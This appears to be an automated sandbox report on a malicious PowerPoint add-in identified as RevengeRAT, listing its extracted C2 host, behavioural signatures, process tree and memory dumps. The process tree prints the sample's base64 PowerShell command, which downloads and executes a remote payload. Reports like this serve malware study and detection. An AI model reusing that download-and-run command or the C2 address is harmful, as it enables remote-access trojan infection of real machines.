Analysis
- max time kernel
152s - max time network
164s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 02:52
General
- Target f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9.ppam
- Size 15KB
- Sample240313-dc8seada79
- SHA256 f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
craxsrat.ddns.com.br:333
-
27d7e6701f5e
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\f8d9858e2029276c48e1e7aefc168269ba73450bfba41d49d47aa61092dd0cf9.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1336 --field-trial-handle=2268,i,8796662530135712346,11409037572378858775,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_s5uyydjs.o1d.ps1
memory/3316-120-0x0000000075280000-0x0000000075A30000-memory.dmp
memory/3316-119-0x0000000005DD0000-0x0000000005E36000-memory.dmp
memory/3316-118-0x0000000005D30000-0x0000000005DCC000-memory.dmp
memory/3316-117-0x00000000057D0000-0x00000000057E0000-memory.dmp
memory/3316-105-0x0000000005E40000-0x00000000063E4000-memory.dmp
memory/3316-102-0x0000000075280000-0x0000000075A30000-memory.dmp
memory/3316-95-0x0000000000400000-0x000000000040A000-memory.dmp
memory/3504-64-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp
memory/3504-100-0x000001F1306D0000-0x000001F1316A0000-memory.dmp
memory/3504-10-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-11-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-12-0x00007FFC9F2F0000-0x00007FFC9F300000-memory.dmp
memory/3504-13-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-14-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-15-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-16-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-19-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-18-0x00007FFC9F2F0000-0x00007FFC9F300000-memory.dmp
memory/3504-20-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-21-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-17-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-22-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-23-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-36-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp
memory/3504-51-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp
memory/3504-52-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp
memory/3504-57-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-61-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-62-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-63-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp
memory/3504-0-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-65-0x000001F12DFF0000-0x000001F12E7F0000-memory.dmp
memory/3504-8-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-1-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-4-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-3-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-5-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-115-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-116-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-114-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-113-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/3504-112-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-111-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-110-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-109-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-6-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-7-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-2-0x00007FFCA1770000-0x00007FFCA1780000-memory.dmp
memory/3504-9-0x00007FFCE16F0000-0x00007FFCE18E5000-memory.dmp
memory/4576-85-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-78-0x00007FFCB1BB0000-0x00007FFCB2671000-memory.dmp
memory/4576-93-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-91-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-89-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-87-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-82-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-98-0x00007FFCB1BB0000-0x00007FFCB2671000-memory.dmp
memory/4576-94-0x000002A658550000-0x000002A658551000-memory.dmp
memory/4576-81-0x000002A658590000-0x000002A6585B0000-memory.dmp
memory/4576-80-0x000002A6585C0000-0x000002A6585D0000-memory.dmp
memory/4576-79-0x000002A6585C0000-0x000002A6585D0000-memory.dmp
memory/4576-83-0x000002A658590000-0x000002A6585A8000-memory.dmp
memory/4576-73-0x000002A658560000-0x000002A658582000-memory.dmp